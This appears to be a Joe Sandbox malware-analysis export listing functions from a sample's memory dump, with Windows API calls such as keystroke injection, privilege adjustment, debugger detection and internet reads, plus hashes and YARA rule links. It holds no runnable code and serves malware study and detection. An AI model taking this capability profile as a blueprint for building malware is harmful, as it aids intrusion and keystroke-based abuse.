Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 2801d17a98d5e6bdd08b2ea32f9bdfe1cc10ec1af87d4dfdafdbaf761bb2da53
Instruction ID: 11181399345b301a2f2aabe61b4474477bd67ebddce57821283cd16191e57ca7
Opcode Fuzzy Hash: 2801d17a98d5e6bdd08b2ea32f9bdfe1cc10ec1af87d4dfdafdbaf761bb2da53
Instruction Fuzzy Hash: 5DA27E70A0066ACBDF28CF59D9407FDBBB2BB54314F24859AE85AA7385DB309D81CF50

Function 00648298 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 006482AA

Strings

|, xrefs: 006482DA
(, xrefs: 006482F0
tbj, xrefs: 006484F4

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: lstrlen
String ID: ($tbj$|
API String ID: 1659193697-2372207717
Opcode ID: 34154801b52594ba7930da733c599e5bb56ec416f9dc8f85eb676b6e9292b846
Instruction ID: 84103af8e9ed4944c1b15361bb6b537a3d8fbfc5931c88808fa09d2603149d12
Opcode Fuzzy Hash: 34154801b52594ba7930da733c599e5bb56ec416f9dc8f85eb676b6e9292b846
Instruction Fuzzy Hash: F6323474A00605DFCB28CF59C481AAAB7F1FF48710B15C46EE59ADB7A1EB70E981CB44

Function 0064AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0064AAAC
SetKeyboardState.USER32(00000080), ref: 0064AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0064AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0064AB88

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: d3c8f8ba50c1102d269fef1ec525c740b6eaba167b6792a0fac313d65169ea1c
Instruction ID: 2113d363cba2c28707ff46eedd7373a61274a9228ed063c5584d2a75c04eee4d
Opcode Fuzzy Hash: d3c8f8ba50c1102d269fef1ec525c740b6eaba167b6792a0fac313d65169ea1c
Instruction Fuzzy Hash: D231D270AC0248BFFB258AA4CC05BFA7BA7EB45320F04421AE585966D1D3758981C766

Function 0065CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0065CE89
GetLastError.KERNEL32(?,00000000), ref: 0065CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0065CEFE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: d43a39fe74def809f8ef01d4a82c5caf2283912482f47e44bb7a6404f0d27799
Instruction ID: 1ff8aa2f897046c12b35aff21b7ae70ccbe44658303ac24086df0023f4c9e831
Opcode Fuzzy Hash: d43a39fe74def809f8ef01d4a82c5caf2283912482f47e44bb7a6404f0d27799
Instruction Fuzzy Hash: 6221BDB15003059FE720DFA5C949BA777FAEF00329F10481EE946A2291E770EE498B54

Function 00655C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00655CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00655D17
FindClose.KERNEL32(?), ref: 00655D5F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1b29ef6c9d92b0c1ad113a8e6a0389a1e69854db8a0c624b0272c0399239f1bc
Instruction ID: 8379434c57ab2e856b52c464ee762d9e5260a2fbf281cb92b4b4562223b9e272
Opcode Fuzzy Hash: 1b29ef6c9d92b0c1ad113a8e6a0389a1e69854db8a0c624b0272c0399239f1bc
Instruction Fuzzy Hash: 35519E356046019FC718DF28C4A8A96BBF5FF49314F14865DE9AA8B3A1CB30ED45CF91

Function 00612622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0061271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00612724
UnhandledExceptionFilter.KERNEL32(?), ref: 00612731

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 365b9c1ed5bc9b507dc647703f9a302039a4d39907c0535a5551ba10bf7b388d
Instruction ID: feae3c539129c2b7dfaafd0f7e4e010127e5bcc5efb3e20ecc9365b031130d73
Opcode Fuzzy Hash: 365b9c1ed5bc9b507dc647703f9a302039a4d39907c0535a5551ba10bf7b388d
Instruction Fuzzy Hash: 9F31D5749412199BCB65DF68DC887DDB7B9AF08320F5041EAE41CA72A1E7309FC18F45

Function 006551CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006551DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00655238
SetErrorMode.KERNEL32(00000000), ref: 006552A1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: ba6e6ef61a346cde2d00a804983db5a699d120b4d9d946cf2d904088ef1c4468
Instruction ID: 3af4fd55bec34b5da88fa27de2c21a35ab8412b6536b1a5ca2a44f0d7b5d86f0
Opcode Fuzzy Hash: ba6e6ef61a346cde2d00a804983db5a699d120b4d9d946cf2d904088ef1c4468
Instruction Fuzzy Hash: 31318E35A00609DFDB00DF54D888EADBBB5FF48314F048099E849AB362DB31ED5ACB90

Function 006416C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 005FFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00600668
Part of subcall function 005FFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00600685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0064170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0064173A
GetLastError.KERNEL32 ref: 0064174A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: f944126a2fb261dad5ec1301dd44a0bb5220799ded42a5b83d8c3efa80e819a3
Instruction ID: 9828fde58adca24a912df731eb4d204ae29027adeab206212582a19bef80418b
Opcode Fuzzy Hash: f944126a2fb261dad5ec1301dd44a0bb5220799ded42a5b83d8c3efa80e819a3
Instruction Fuzzy Hash: 8C11C4B1400309AFD7189F64DC86DAABBBAFF44724B20852EE05697641EB70FC818B60

Function 0064D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0064D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0064D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0064D650

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 86b9a5d7a7db5c262c4c8c4f9e711b6c6d5ee138c80bc5a234e9e933537df0c1
Instruction ID: d8ff92be5f261ea625d9c31517ea16bf9d71f47d887e5d94c3d4353e019a05f5
Opcode Fuzzy Hash: 86b9a5d7a7db5c262c4c8c4f9e711b6c6d5ee138c80bc5a234e9e933537df0c1
Instruction Fuzzy Hash: CF118E71E01228BFDB108F98DC44FAFBBBDEB45B60F108125F908E7290D2704A018BA1

Function 00641663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0064168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 006416A1
FreeSid.ADVAPI32(?), ref: 006416B1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 64fd99ccc4221549fb9be27e96980c8c78c6d282eab5255dede491689acad734
Instruction ID: 3751ac3ffdd67bc93d146f482e082e427b639ea26292b6c5e2c7d7c73f99ebbe
Opcode Fuzzy Hash: 64fd99ccc4221549fb9be27e96980c8c78c6d282eab5255dede491689acad734
Instruction Fuzzy Hash: F0F0F471950309FBDB00DFE49C89EAEBBBDFB08614F504565E501E2181E775AA848BA0

Function 0061C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0061C36C

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 74b88e2ceeb3df006de5d671226e3eb95dca2ca87a6ddceac4114a85b334670d
Instruction ID: 9572899096b3de26e2f5e9d827a660c518fe75c463c0d4b1aa68a60c7fa7caa0
Opcode Fuzzy Hash: 74b88e2ceeb3df006de5d671226e3eb95dca2ca87a6ddceac4114a85b334670d
Instruction Fuzzy Hash: 1B412672540219AFCB249FB9CC48EFF77BAEB84324F14426DF915C7280E6319E818B54

Function 0063D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0063D28C

Strings

X64, xrefs: 0063D2A8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: df0e62c1e6fb3f5d36abb39869f80e6c108b65d2c4adfb60d381eb41c50dbdba
Instruction ID: 8581e6b224ab77eb03bcdc75ad75d95c53a8892a65c218b3aca77a35f4bf738f
Opcode Fuzzy Hash: df0e62c1e6fb3f5d36abb39869f80e6c108b65d2c4adfb60d381eb41c50dbdba
Instruction Fuzzy Hash: 8FD0C9B480111DEACF94CB90EC88DDAB77DBB04305F100555F606A2000DB3496499F60

Function 0060CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: efc678778fc684133a51391029ea18367d33ea18eac0f021ac7692d0911d7184
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 71020C71E401199FDF18CFA9D8806EEBBF2EF48324F254269D919EB384D731A941CB94

Function 005ECAF0 Relevance: 3.2, Strings: 2, Instructions: 659COMMON

Download Yara Rule

Strings

p#k, xrefs: 005ECF7F
Variable is not of type 'Object'., xrefs: 00630C40

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.$p#k
API String ID: 0-2343768061
Opcode ID: 2a243d8e15ebecd6247e7c578d3758ec3a14ccc917e57620f3697fc324343262
Instruction ID: 41927a632a055bc58974f20d3de3b07698007801bac9cb3db7cf4d05e3437179
Opcode Fuzzy Hash: 2a243d8e15ebecd6247e7c578d3758ec3a14ccc917e57620f3697fc324343262
Instruction Fuzzy Hash: 9032AB70900259DFDF18DF91C995AEDBFBABF44304F204059E896AB282D735ED4ACB50

Function 006568EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00656918
FindClose.KERNEL32(00000000), ref: 00656961

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 62d70a52914aac7f0f66f1fc7e6d990e460119a0625f0573ae663e7cd448d74a
Instruction ID: b7931a13bff1fcdd8a1b927dd4dbfe1daa9e696325c258d1d5935f008b594595
Opcode Fuzzy Hash: 62d70a52914aac7f0f66f1fc7e6d990e460119a0625f0573ae663e7cd448d74a
Instruction Fuzzy Hash: 1F11AF316042019FC714CF29D488A16BBE1FF84329F44C699F8698B3A2CB30EC45CB91

Function 006537B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00664891,?,?,00000035,?), ref: 006537E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00664891,?,?,00000035,?), ref: 006537F4

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 7ce246d044b08ec84c041eb31447b5e92df5eee1870d8df55cec9a5190cd05b8
Instruction ID: 5cf26298b4ef12b29245c71fdaabff443a548d95efa7cc492ca6178efbfd3ced
Opcode Fuzzy Hash: 7ce246d044b08ec84c041eb31447b5e92df5eee1870d8df55cec9a5190cd05b8
Instruction Fuzzy Hash: FBF0A7706043252AE71017765C4DFDB3A9FEFC5771F000165B509D2281D960594486B0

Function 0064B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0064B25D
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 0064B270

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: b18226d7a3635063d11bad732b0c5a4776bb523041484d63af562c95dc14fa64
Instruction ID: 806ae0dcf35c06cd05e10fb9464001bb9a5245cb23af1938e01e3eaeda7afefc
Opcode Fuzzy Hash: b18226d7a3635063d11bad732b0c5a4776bb523041484d63af562c95dc14fa64
Instruction Fuzzy Hash: 0EF01D7180424EABDB059FA0C805BFE7BB5FF04315F009009F955A5191D7B9C6519F94

Function 006410BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,006411FC), ref: 006410D4
CloseHandle.KERNEL32(?,?,006411FC), ref: 006410E9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: ddd55a94d891357982f5d2938d869e838ea8623d1c9e4c745d57bfb038d59712
Instruction ID: 8a7c0da5c5da320c03cbf47464acd4763126154906b04f21fe4ebff26056aed9
Opcode Fuzzy Hash: ddd55a94d891357982f5d2938d869e838ea8623d1c9e4c745d57bfb038d59712
Instruction Fuzzy Hash: 7AE0BF72014611AEF7252B61FC09E777BAAFF04720B14882DF5A5844B1DB626CD0DB50

Function 0061676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00616766,?,?,00000008,?,?,0061FEFE,00000000), ref: 00616998

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0dda52b43f4f123a43a3f68aca3bde5b4c2db896d30fac350d1a907458b5bcea
Instruction ID: f71397cfec9e4e16108660afe205f61f009fd5fbcc883c2a8eea388cc7f76c65
Opcode Fuzzy Hash: 0dda52b43f4f123a43a3f68aca3bde5b4c2db896d30fac350d1a907458b5bcea
Instruction Fuzzy Hash: 65B14B396106099FD715CF28C486BE57BE1FF45364F298658F89ACF2A2C335E992CB40

Function 005FB119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 0063851F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
